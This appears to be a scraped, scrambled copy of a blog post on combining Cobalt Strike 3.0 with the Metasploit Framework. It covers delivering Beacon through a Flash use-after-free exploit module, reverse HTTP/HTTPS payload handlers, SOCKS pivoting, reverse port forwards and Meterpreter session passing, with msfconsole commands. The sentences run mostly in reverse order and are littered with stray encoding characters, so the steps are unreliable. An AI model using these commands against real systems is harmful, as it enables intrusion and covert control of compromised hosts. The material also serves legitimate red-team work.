Interact with a Beacon on the compromised system you want to pivot through.Ģ. To create a reverse port forward in Cobalt Strike:ġ. These commands create a Meterpreter HTTPS handler, bound to port 8443, that stages and connects to the IP address of our pivot host. Set PAYLOAD windows/meterpreter/reverse_https To create a Meterpreter handler that rides through a Beacon reverse port forward: use exploit/multi/handler Traffic between the forward host/port and the connection to the compromised system is tunneled through Beacon. Any connections to this server socket result in a new connection to a forward host/port. The rportfwd command creates a server socket on a compromised system. Use Beacon’s rportfwd command to turn a system, compromised with Beacon, into a redirector for your Meterpreter sessions. To pass a session from Beacon, go to -> Spawn and choose your foreign listener. You can use this listener with any of Cobalt Strike’s features.
You now have a Cobalt Strike listener that refers to your Metasploit Framework payload handler. Set The Host and Port of the listener to the LHOST and LPORT of your Meterpreter handler. Cobalt Strike also has reverse_http and reverse_tcp foreign listeners too.Ĥ. Set the Payload type to windows/foreign/reverse_https for HTTPS Meterpreter. To create a foreign listener for Meterpreter:ģ. Cobalt Strike can pass sessions to the Metasploit Framework with foreign listeners. A foreign listener is an alias for a payload handler located elsewhere. A listener is a name tied to a payload handler and its configuration information. Spawn Meterpreter from BeaconĬobalt Strike’s session passing features target listeners. If you want to stop tunneling Metasploit through your Beacon, type unsetg Proxies in the Metasploit Framework console. The exploits and modules you run will tunnel through your Beacon. This option lets you specify a SOCKS proxy server to send the Metasploit Framework module through. This one-liner will globally set the Metasploit Framework’s Proxies option. Go to msfconsole and paste in that one-liner. This will open a dialog that contains a one-liner to paste into the Metasploit Framework.ĥ. Highlight the desired SOCKS pivot and press Tunnel. This will open a tab that presents all SOCKS proxy servers on your Cobalt Strike team server.Ĥ. Go to View -> Proxy Pivots in Cobalt Strike. Tunneling traffic with minimal latency requires that Beacon regularly connects to your controller to exchange read, write, and connect information.ģ. Type sleep 0 in the Beacon console to request that the Beacon become interactive. Interact with a Beacon and type socks 1234 to create a SOCKS proxy server on port 1234 of your Cobalt Strike team server system.Ģ. To tunnel the Metasploit Framework through Beacon:ġ.
This form of pivoting makes it easy to tunnel many tools through Beacon. Tunnel Metasploit Framework Modules through BeaconĬobalt Strike’s Beacon payload has had SOCKS proxy pivoting since 2013. It allows your session to survive if the exploited application crashes or closes. This option is very important for client-side attacks. This option tells the Metasploit Framework to modify its stager to migrate to another process, immediately after exploitation. This tells the Metasploit Framework that it does not need to create a handler within the Metasploit Framework to service a payload connection.ĥ. Cobalt Strike will know what to do when it receives a request from a Metasploit Framework stager.Ĥ. Set LHOST and LPORT to point to your Cobalt Strike listener.

You’re telling the Metasploit Framework to generate an HTTP (or HTTPS) stager to download a payload from the specified LHOST/LPORT.ģ. You’re not really delivering Meterpreter here. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon.
Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Use the exploit module you want to deliver Beacon with.Ģ. Set PAYLOAD windows/meterpreter/reverse_http To deliver a Beacon with a Metasploit Framework exploit, type: use exploit/multi/browser/adobe_flash_hacking_team_uaf The Beacon payload is compatible with the Metasploit Framework’s staging protocol. You may use a Metasploit Framework exploit to deliver Cobalt Strike’s Beacon. Deliver Beacon with a Metasploit Framework Exploit Even though they are two separate entities, there is a lot of synergy between these platforms.
#Cobalt strike beacon set time how to
In this blog post, I’ll show you how to use Cobalt Strike and the Metasploit Framework together. I didn’t forget this in my design of Cobalt Strike 3.0. That said, the Metasploit Framework is a wealth of capability and there are places where it adds value. It doesn’t depend on the Metasploit Framework. Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations.
